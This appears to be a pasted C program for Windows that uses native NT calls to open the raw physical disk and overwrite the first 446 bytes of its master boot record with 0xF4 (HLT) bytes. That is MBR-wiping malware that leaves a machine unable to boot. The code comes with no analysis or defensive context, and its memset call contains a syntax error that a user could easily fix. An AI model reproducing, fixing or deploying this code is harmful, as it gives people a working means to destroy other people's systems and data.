rendered paste body#include <stdio.h>
#include <stdarg.h>
#include <windows.h>
#define InitializeObjectAttributes(p,n,a,r,s) \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL;
typedef ULONG NTSTATUS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK
{
union
{
LONG Status;
PVOID Pointer;
};
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
NTSTATUS WINAPI NtOpenFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
#define OBJ_OPENIF 0x00000080L
void WINAPI RtlInitUnicodeString(PUNICODE_STRING, PCWSTR);
#define IN
#define OPTIONAL
NTSTATUS WINAPI
NtWriteFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PVOID ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
main(){
UNICODE_STRING us;
HANDLE hFileHandle = 0;
IO_STATUS_BLOCK iob;
OBJECT_ATTRIBUTES obatt;
RtlInitUnicodeString(&us, L"\\Device\\HardDisk0\\Partition0");
InitializeObjectAttributes(&obatt, &us, OBJ_OPENIF, NULL, NULL);
NTSTATUS status = NtOpenFile(&hFileHandle, GENERIC_WRITE, &obatt, &iob, FILE_SHARE_WRITE, 0);
char buffer[446];
memset(&buffer), 0xF4, 446);
NtWriteFile(hFileHandle, NULL, NULL, NULL, &iob, &buffer, 446, NULL, NULL);
CloseHandle(hFileHandle);
}